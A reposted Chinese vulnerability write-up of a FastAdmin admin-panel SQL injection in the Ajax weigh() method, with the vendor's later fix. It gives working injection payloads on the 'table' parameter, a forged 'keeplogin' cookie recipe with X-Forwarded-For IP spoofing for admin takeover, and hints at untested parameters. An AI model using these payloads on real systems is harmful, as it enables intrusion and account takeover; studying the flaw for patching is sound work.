记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

fastadmin 后台注入分析

2020-10-15 12:02

0x01 前言

前段时间续师傅又给我指出了fastadmin 后台低权限拿 shell 的漏洞点:

在忙好自己的事情后,有了这次的分析

影响版本:V1.0.0.20191212_beta 及以下版本

0x02 fastadmin 的鉴权流程

低权限后台拿 shell 遇到的最大的问题就是有些功能存在 getshell 的点,但是低权限没有权限去访问。因此我们有以下几个思路:

  • 在低权限的情况下,找到某些功能存在 getshell 的点
  • 把低权限提升到高权限,再利用高权限可访问的功能点去 getshell
  • 绕过权限的限制,找到 getshell 的点

本文利用的就是第一种和第二种相结合的情况,在低权限的情况下,找到可利用的某些方法,利用这种方法本身存在的漏洞去获取高权限,然后利用高权限可访问的功能点去 getshell。

既然强调了权限,因此必须要介绍一下fastadmin 的鉴权流程,只有清楚在什么情况下,有权限访问,什么情况下无权限访问,才可以找到系统中可能存在的漏洞点。

在 fastadmin 中的/application/common/controller/Backend.php文件中,详细说明了鉴权的一些信息。关键信息如下:

protected $noNeedLogin = [];    
protected $noNeedRight = [];

...

public function _initialize()
{
$modulename = $this->request->module();
$controllername = Loader::parseName($this->request->controller());
$actionname = strtolower($this->request->action());
$path = str_replace('.', '/', $controllername) . '/' . $actionname;
!defined('IS_ADDTABS') && define('IS_ADDTABS', input("addtabs") ? true : false);
!defined('IS_DIALOG') && define('IS_DIALOG', input("dialog") ? true : false);
!defined('IS_AJAX') && define('IS_AJAX', $this->request->isAjax());
$this->auth = Auth::instance();
// 设置当前请求的URI
$this->auth->setRequestUri($path);
// 检测是否需要验证登录
if (!$this->auth->match($this->noNeedLogin)) {
//检测是否登录
if (!$this->auth->isLogin()) {
Hook::listen('admin_nologin', $this);
$url = Session::get('referer');
$url = $url ? $url : $this->request->url();
if ($url == '/') {
$this->redirect('index/login', [], 302, ['referer' => $url]);
exit;
}
$this->error(__('Please login first'), url('index/login', ['url' => $url]));
}
// 判断是否需要验证权限
if (!$this->auth->match($this->noNeedRight)) {
// 判断控制器和方法判断是否有对应权限
if (!$this->auth->check($path)) {
Hook::listen('admin_nopermission', $this);
$this->error(__('You have no permission'), '');
}
}
}

fastamdin 规定了两个集合,一个集合为无需登录,无需鉴权,即可访问的$noNeedLogin,一个集合为需要登录,无需鉴权,即可访问的$noNeedRight,然后定义了初始化函数_initialize(),该方法主要用于验证访问当前 URL的用户是否登录,访问的方法是否需要登录以及访问的方法是否需要检验权限。

这个鉴权文件被各个控制器所引用,并且这些控制器在开始处都会规定哪些方法属于$noNeedLogin,哪些方法属于$noNeedRight,如在/application/admin/index.php文件中的开头处:

规定了login方法为无需登录,无需鉴权的方法,index和logout为需要登录,无需鉴权的方法。然后重写_initialize(),并且在该方法中引入了Backend.php中的_initialize()判断方法。

以上为 fastadmin 的简单的鉴权流程,更复杂的鉴权,如需要登录并且需要鉴权等,有兴趣的朋友可自行阅读源代码去研究。

0x03 漏洞分析

漏洞点:/application/admin/controller/Ajax.php

在该文件的开头处,定义了各类方法的权限,如下:

规定lang方法无需登录、无需鉴权即可访问,其他方法(upload、weigh、wipecache、category、area、icon)为需要登录、无需鉴权即可访问的方法。其中,weigh方法的主要内容如下:

public function weigh()
{
//排序的数组
$ids = $this->request->post("ids");
//拖动的记录ID
$changeid = $this->request->post("changeid");
//操作字段
$field = $this->request->post("field");
//操作的数据表
$table = $this->request->post("table");
//主键
$pk = $this->request->post("pk");
//排序的方式
$orderway = strtolower($this->request->post("orderway", ""));
$orderway = $orderway == 'asc' ? 'ASC' : 'DESC';
$sour = $weighdata = [];
$ids = explode(',', $ids);
$prikey = $pk ? $pk : (Db::name($table)->getPk() ?: 'id');
$pid = $this->request->post("pid");
//限制更新的字段
$field = in_array($field, ['weigh']) ? $field : 'weigh';

// 如果设定了pid的值,此时只匹配满足条件的ID,其它忽略
if ($pid !== '') {
$hasids = [];
$list = Db::name($table)->where($prikey, 'in', $ids)->where('pid', 'in', $pid)->field("{$prikey},pid")->select();
foreach ($list as $k => $v) {
$hasids[] = $v[$prikey];
}
$ids = array_values(array_intersect($ids, $hasids));
}

$list = Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();
foreach ($list as $k => $v) {
$sour[] = $v[$prikey];
$weighdata[$v[$prikey]] = $v[$field];
}
$position = array_search($changeid, $ids);
$desc_id = $sour[$position]; //移动到目标的ID值,取出所处改变前位置的值
$sour_id = $changeid;
$weighids = array();
$temp = array_values(array_diff_assoc($ids, $sour));
foreach ($temp as $m => $n) {
if ($n == $sour_id) {
$offset = $desc_id;
} else {
if ($sour_id == $temp[0]) {
$offset = isset($temp[$m + 1]) ? $temp[$m + 1] : $sour_id;
} else {
$offset = isset($temp[$m - 1]) ? $temp[$m - 1] : $sour_id;
}
}
$weighids[$n] = $weighdata[$offset];
Db::name($table)->where($prikey, $n)->update([$field => $weighdata[$offset]]);
}
$this->success();
}

在本方法中,weigh方法通过 POST 传值的方式,获取到了ids、changeid、field、table、pk、orderway参数的值,可以看到,这些值全部没有经过过滤,然后直接传入了 SQL 执行语句Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();中。

在这段后加上打印 SQL 语句:echo Db::name($table)->getLastSql();,如下图所示:

可以看到其 SQL 语句 如下:

SELECT `type`,`pid` FROM `fa_category` WHERE `type` IN ('2','4','1','3','5','6','8','9','7','10','11','12','13') AND `pid` IN (0)

这样就很清楚了,我们可以修改table值,来执行我们所需要的 SQL 语句,如下:

ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category union select 1,updatexml(1,concat(0x7e,(select user()),0x7e),1)%23

成功爆出 user(),但需要注意的是,由于是本地调试,我开启了 fastadmin 的应用调试模式,如果将其关闭:

那么就不会返回错误信息,也自然不会返回我们所需要的信息:

因此我需要修改 SQL 语句,将报错模式改为时间盲注模式:

ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category where id=1 and if(ascii(substr(database(),1,1))>95,sleep(2),1);

发现出错

DeBug 调试发现>符号被转义成实体了:

没事,将语句改为:

ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category+where+id=1+and+if(ascii(substr(database(),1,1)) in (0x66),sleep(2),1)%23

成功注入

同理,利用时间盲注,可以注入出用户名和密码,具体语句可以自行查找相关的实际盲注语句,这里不再赘述

但是,我们知道当管理员密码复杂的时候,MD5 不一定能够破解,况且 fastadmin 密码是加盐的:

那么这个注入岂不是很鸡肋?

当然不是!在/application/admin/controller/Index.php文件的大约100行,有以下代码:

// 根据客户端的cookie,判断是否可以自动登录
if ($this->auth->autologin()) {
$this->redirect($url);
}

跟进autologin()

public function autologin()
{
$keeplogin = Cookie::get('keeplogin');
if (!$keeplogin) {
return false;
}
list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
$admin = Admin::get($id);
if (!$admin || !$admin->token) {
return false;
}
//token有变更
if ($key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token)) {
return false;
}
$ip = request()->ip();
//IP有变动
if ($admin->loginip != $ip) {
return false;
}
Session::set("admin", $admin->toArray());
//刷新自动登录的时效
$this->keeplogin($keeptime);
return true;
} else {
return false;
}
}

从keeplogin中获取信息,然后分割,将其分别赋值给$id,$keeptime,$expiretime,$key变量,若这些值大于当前时间并且满足以下条件:

  • 该id是否为管理员
  • 这个 id 的 token 在数据库中是否为空
  • token 是否有变更
  • IP 是否有变动

满足以上条件,那么就可以自动登陆。那么该如何满足呢?

从上面的注入漏洞我们可以从fa_admin表中的所有信息,fa_admin表字段信息如下:

因此可以根据存在的 id 值、token 值、IP 值来满足所需要的条件。

对于 id 和 token 我们可以直接根据注入获得的信息来满足条件,对于 ip 的获取,我们可以使用 X-Forwarded-For来伪造 IP

所以只要满足最后一个条件——token 是否有变更,即可自动登陆

从上面代码中可以看出,id、keeptime、expiretime变量都是我们可控的,token可以通过注入获得,那么就很简单了,我们自己来构造一个符合$key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token值的key,然后构造keeplogin值来进行自动登陆。

我们可以赋值如下:

id-->1-->c4ca4238a0b923820dcc509a6f75849b

keeptime-->86400-->641bed6f12f5f0033edd3827deec6759

expiretime-->1601902475-->02dbcd10c7f55b1c592350154b5e87de

token-->43e78cd9-b16b-4f27-9648-d60fd0e9b464

key-->c4ca4238a0b923820dcc509a6f75849b641bed6f12f5f0033edd3827deec675902dbcd10c7f55b1c592350154b5e87de43e78cd9-b16b-4f27-9648-d60fd0e9b464-->1fe1e4fc538e66089c4e24ed3b8e4c8c

keeplogin-->1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c

这里要注意的是我们赋值的 expiretime变量要符合条件$id && $keeptime && $expiretime && $key && $expiretime > time()才可,具体可以自己使用以下代码测试:

<?php
$keeplogin = '1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c';
list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
echo time();
}else{
echo 'No';
}
?>

构造好keeplogin后,我们可以来测试一下,首先看一下系统自动生成的 keeplogin为:

1%7C86400%7C1601886601%7Cab804a9bbb40d920704bc6e1b18a2733

然后打开无痕窗口填入我们自己生成的keeplogin:

1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c

刷新后,发现自动登陆了id为 1 的 admin 账号:

剩下的拿 shell 方式就和网上流传的一样了,其实如果权限够,也可以尝试注入直接拿 shell。

0x04 漏洞修复

V1.0.0.20191212_beta后,官方对于$table变量进行了修复:

$table = $this->request->post("table");
if (!Validate::is($table, "alphaDash")) {
$this->error();
}

对$table变量做了判断,验证其值是否为字母、数字、下划线_、破折号-

这样使注入语句不能出现逗号,、括号等字符,对于注入的语句做了极大的限制

0x05 总结

本文主要对于低权限如何提升至高权限的方法进行了分析,虽然不是最新版的,但是思路可以记录学习一波。值得一提的是,在V1.0.0.20200228_beta~V1.0.0.20200920_beta版本中,对于pk变量未进行修复,但是在V1.2.0.20201001_beta版本中,却对其进行了修复:

此外,SQL 执行语句Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();中传入了table、prikey(pk)、field、ids、orderway变量,其中对于table以及prikey(pk)进行了过滤,其他变量却是没有的,so~有兴趣的朋友可以自己测试看看


知识来源: xz.aliyun.com/t/8360

阅读:156408 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“fastadmin 后台注入分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

↓赞助商 🙇🧎

标签云 ☁